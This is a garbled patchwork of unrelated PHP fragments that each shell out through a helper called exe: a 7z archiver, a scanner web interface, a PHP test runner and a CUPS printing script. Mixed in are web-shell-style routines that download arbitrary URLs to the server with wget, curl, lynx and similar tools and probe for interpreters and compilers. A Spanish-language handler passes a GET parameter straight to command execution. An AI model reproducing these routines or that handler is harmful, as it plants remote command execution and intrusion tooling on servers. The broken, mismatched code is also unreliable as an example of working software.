<?php set_time_limit(0); include 'func.php'; $rootdir = getbase($_GET['base']); if (($dir = safepath($rootdir, $_GET['dir'])) === false) { redirect('index.php'); } $hash = mkhash($rootdir . $dir); $thash = $_GET['base'] . '-' . $hash; $hash = $_GET['base'] . '/' . $hash; $path = rtrim(joinpath($rootdir, $dir), '/'); $apath = explode('/', $path); $bdir = array_pop($apath); chdir(r(implode('/', $apath))); $zfile = $bdir . '.7z'; #header('Content-type: application/x-zip-compressed'); #header('Content-Disposition: attachment; filename*=utf-8"'.preg_replace('![\\/?]!i','',$zfile).'"'); $cmd = $CFG['sevenzip'] . ' a -t7z ' . escapeshellarg($CFG['cachedir'] . $zfile) . ' ' . escapeshellarg(r($bdir)); exe($cmd); redirect($CFG['cacheurl'] . $zfile); #passthru($cmd);
function download($cmd, $url) { $namafile = basename($url); switch ($cmd) { case 'wwget': exe(which('wget') . " " . $url . " -O " . $namafile); break; case 'wlynx': exe(which('lynx') . " -source " . $url . " > " . $namafile); break; case 'wfread': ambil($wurl, $namafile); break; case 'wfetch': exe(which('fetch') . " -o " . $namafile . " -p " . $url); break; case 'wlinks': exe(which('links') . " -source " . $url . " > " . $namafile); break; case 'wget': exe(which('GET') . " " . $url . " > " . $namafile); break; case 'wcurl': exe(which('curl') . " " . $url . " -o " . $namafile); break; default: break; } return $namafile; }
function testperl() { if (exe('perl -h')) { return showstat("on"); } else { return showstat("off"); } }
function dlfile($u, $p) { $n = basename($u); // try using php functions if ($t = file_get_contents($u)) { if (is_file($p)) { unlink($p); } if ($f = fopen($p, "w")) { fwrite($f, $t); fclose($f); if (is_file($p)) { return true; } } } // using wget exe(xwhich('wget') . " " . $u . " -O " . $p); if (is_file($p)) { return true; } // try using lwp-download exe(xwhich('lwp-download') . " " . $u . " " . $p); if (is_file($p)) { return true; } // try using lynx exe(xwhich('lynx') . " -source " . $u . " > " . $p); if (is_file($p)) { return true; } // try using curl exe(xwhich('curl') . " " . $u . " -o " . $p); if (is_file($p)) { return true; } return false; }
} } for ($i = 0, $max = count($FILES); $i < $max; $i++) { $FILE = $FILES[$i]; if (isset($time)) { if ($filter === 2) { if (filemtime("scans/thumb/{$FILE}") < $time) { continue; } } else { if ($filter === 1) { if (filemtime("scans/thumb/{$FILE}") > $time) { continue; } } else { if ($filter === 3) { if (!(filemtime("scans/thumb/{$FILE}") > $time[1] && filemtime("scans/thumb/{$FILE}") < $time[0])) { continue; } } } } } $FILE = substr($FILE, 7, -3); $FILE = substr(exe("cd 'scans/file'; ls " . shell("Scan{$FILE}") . '*', true), 5, -1); //Should only have one file listed $IMAGE = $FILES[$i]; echo '<div class="box" id="' . html($FILE) . '">' . '<h2 ondblclick="toggleFile(this);" class="excluded">' . html($FILE) . '</h2><p><span>' . genIconLinks(null, "Scan_{$FILE}", false) . '</span><br/>' . '<a class="tool" target="_blank" href="scans/file/Scan_' . url($FILE) . '" style="width:100%;"><img src="scans/thumb/' . url($IMAGE) . '" alt="' . html($FILE) . '" style="width:100%"/><span class="tip">View raw file</span></a>' . '</p></div>'; } echo '</div><script type="text/javascript">' . 'if(typeof document.body.style.MozColumnGap=="string")' . 'getID("scans").className="columns";' . 'else ' . 'enableColumns("scans",null,' . (isset($_COOKIE["columns"]) ? 'true' : 'false') . ');</script>'; }
$dev = explode("ID ", $dev)[1]; $id = substr($dev, 0, strpos($dev, ' ')); $name = substr($dev, strpos($dev, ' ') + 1); echo '<li><input type="checkbox" name="' . html($id) . '" value="' . html($name) . '"/>' . html($name) . '</li>'; } ?> </ul> <input type="submit" value="Generate"/> </form> <?php if (count($_POST) > 0) { $group = "lp"; $type = "GROUP"; if (exe("id {$group} > /dev/null;echo \$?", true) == 1) { $group = "scanner"; if (exe("id {$group} > /dev/null;echo \$?", true) == 1) { $group = "666"; $type = "MODE:"; } } $paths = array(); echo "<div><span>Rules:</span><pre>"; foreach ($_POST as $key => $val) { foreach ($usb as $dev) { if (strpos($dev, $key) > -1) { $dev = substr($dev, 0, strpos($dev, ':')); $dev = explode(' ', $dev); array_push($paths, $dev[1] . '/' . $dev[3]); break; } }
function check_access($s_lang) { $s_s = false; $ver = ""; switch ($s_lang) { case "python": $s_cek = strtolower(exe("python -h")); if (strpos($s_cek, "usage") !== false) { $ver = exe("python -V"); } break; case "perl": $s_cek = strtolower(exe("perl -h")); if (strpos($s_cek, "usage") !== false) { $ver = exe("perl -e \"print \$]\""); } break; case "ruby": $s_cek = strtolower(exe("ruby -h")); if (strpos($s_cek, "usage") !== false) { $ver = exe("ruby -v"); } break; case "node": $s_cek = strtolower(exe("node -h")); if (strpos($s_cek, "usage") !== false) { $ver = exe("node -v"); } break; case "nodejs": $s_cek = strtolower(exe("nodejs -h")); if (strpos($s_cek, "usage") !== false) { $ver = exe("nodejs -v"); } break; case "gcc": $s_cek = strtolower(exe("gcc --help")); if (strpos($s_cek, "usage") !== false) { $s_ver = exe("gcc --version"); $s_ver = explode("\n", $s_ver); if (count($s_ver) > 0) { $ver = $s_ver[0]; } } break; case "tar": $s_cek = strtolower(exe("tar --help")); if (strpos($s_cek, "usage") !== false) { $s_ver = exe("tar --version"); $s_ver = explode("\n", $s_ver); if (count($s_ver) > 0) { $ver = $s_ver[0]; } } break; case "java": $s_cek = strtolower(exe("java -help")); if (strpos($s_cek, "usage") !== false) { $ver = str_replace("\n", ", ", exe("java -version")); } break; case "javac": $s_cek = strtolower(exe("javac -help")); if (strpos($s_cek, "usage") !== false) { $ver = str_replace("\n", ", ", exe("javac -version")); } break; case "wget": $s_cek = strtolower(exe("wget --help")); if (strpos($s_cek, "usage") !== false) { $s_ver = exe("wget --version"); $s_ver = explode("\n", $s_ver); if (count($s_ver) > 0) { $ver = $s_ver[0]; } } break; case "lwpdownload": $s_cek = strtolower(exe("lwp-download --help")); if (strpos($s_cek, "usage") !== false) { $s_ver = exe("lwp-download --version"); $s_ver = explode("\n", $s_ver); if (count($s_ver) > 0) { $ver = $s_ver[0]; } } break; case "lynx": $s_cek = strtolower(exe("lynx --help")); if (strpos($s_cek, "usage") !== false) { $s_ver = exe("lynx -version"); $s_ver = explode("\n", $s_ver); if (count($s_ver) > 0) { $ver = $s_ver[0]; } } break; case "curl": $s_cek = strtolower(exe("curl --help")); if (strpos($s_cek, "usage") !== false) { $s_ver = exe("curl --version"); $s_ver = explode("\n", $s_ver); if (count($s_ver) > 0) { $ver = $s_ver[0]; } } break; default: return false; } if (!empty($ver)) { $s_s = $ver; } return $s_s; }
function check_access($lang) { $s = 0; switch ($lang) { case "python": $cek = strtolower(exe("python -h")); if (strpos($cek, "usage") !== false) { $s = 1; } break; case "perl": $cek = strtolower(exe("perl -h")); if (strpos($cek, "usage") !== false) { $s = 1; } break; case "ruby": $cek = strtolower(exe("ruby -h")); if (strpos($cek, "usage") !== false) { $s = 1; } break; case "gcc": $cek = strtolower(exe("gcc --help")); if (strpos($cek, "usage") !== false) { $s = 1; } break; case "tar": $cek = strtolower(exe("tar --help")); if (strpos($cek, "usage") !== false) { $s = 1; } break; case "java": $cek = strtolower(exe("javac --help")); if (strpos($cek, "usage") !== false) { $cek = strtolower(exe("java -h")); if (strpos($cek, "usage") !== false) { $s = 1; } } break; } return $s; }
function load_program($ar) { $x = array_reverse($ar); array_push($x, 0); exe(0x1, $x); }
break; case "detectar": detectar(); break; case "estadonodos": estadonodos(); break; case "estadoclientes": estadoclientes(); break; case "exe": if (isset($_GET["comando"])) { if (isset($_GET["parametro"])) { exe($_GET["comando"], $_GET["parametro"]); } else { exe($_GET["comando"]); } } break; case "anchodebanda": if (isset($_GET["parametro"])) { anchodebanda($_GET["parametro"]); } else { anchodebanda(); } break; } } if (isset($_GET["ejecutar"])) { switch ($_GET["ejecutar"]) { case "aplicar":
* @param array &$o Where output is stored * * @return boolean */ function exe($cmd, &$o) { $x = @exec($cmd, $o, $r); if ($r) { return false; } return true; } $workspace_dir = realpath(dirname(__FILE__) . ""); $cmd_reqs = array(); $cmd_reqs["phpcs"] = "PHP_CodeSniffer (pear install -f PHP_CodeSniffer)"; $cmd_reqs["phpt"] = "PHPT, http://phpt.info/wiki"; // check if commands are available foreach ($cmd_reqs as $cmd => $package) { if (@exe("which " . $cmd, $lines) === false) { echo $cmd . " is not available. "; echo "Please first install the " . $package; die("\n"); } } $cmd = "phpcs --standard=PEAR " . $workspace_dir . "/System"; // 2>&1 |grep -v 'underscore' -B2 @exe($cmd, $lines); echo implode("\n", $lines); $cmd = "phpt -r " . $workspace_dir . ""; @exe($cmd, $lines); echo implode("\n", $lines);
function uuid2bus($d) { // Bug #13 $id = $d->{"UUID"}; $d = $d->{"DEVICE"}; $data = exe("lsusb -d " . shell($id) . " # See Bug #13", true); if (strlen($data) == 0) { return $d; } // Scanner must not be connected $bus = substr($data, strpos($data, "Bus ") + 4, 3); $dev = substr($data, strpos($data, "Device ") + 7, 3); $pos = strpos($d, "libusb:") + 7; return substr($d, 0, $pos) . "{$bus}:{$dev}" . substr($d, $pos + 9); }
# This file is used to handle all the print commands # This file runs all the print commands, ../download.php and inc/printer.php call this page via include # If your printer needs some special options used you want to edit lines 15 and 27, also note lines 12 and 24 # You will want to read up on the CUPS command line printing documentation @ http://www.cups.org/documentation.php/options.html $lpstat = 'lpstat -a | awk \'{print $1}\''; // command used to find printers if (function_exists('exe')) { // internal call via inc/printer.php if (isset($file)) { $_POST['quantity'] = intval($_POST['quantity']); $q = $_POST['quantity'] > 0 ? $_POST['quantity'] : 1; $o = escapeshellarg($_POST['options']); Print_Message($_POST['printer'], 'Your document is being processed:<br/><pre>' . html(exe('lp -d ' . shell($_POST['printer']) . " -n {$q} -o {$o} {$file}", true)) . '</pre>', 'center'); } else { $printers = array_filter(explode("\n", exe($lpstat, true))); } } else { if (isset($Printer)) { // internal call via include from ../download.php header('Content-type: application/json; charset=UTF-8'); $_GET['quantity'] = intval($_GET['quantity']); $q = $_GET['quantity'] > 0 ? $_GET['quantity'] : 1; $o = escapeshellarg($_GET['options']); echo json_encode((object) array('printer' => $_GET['printer'], 'message' => shell_exec('lp -d ' . escapeshellarg($_GET['printer']) . " -n {$q} -o {$o} {$file}"))); } else { $Printer = parse_ini_file(file_exists('res') ? 'config.ini' : '../config.ini'); $Printer = (int) $Printer['Printer']; if (!function_exists('ext2mime')) { // external call via browser if ($Printer == 0) {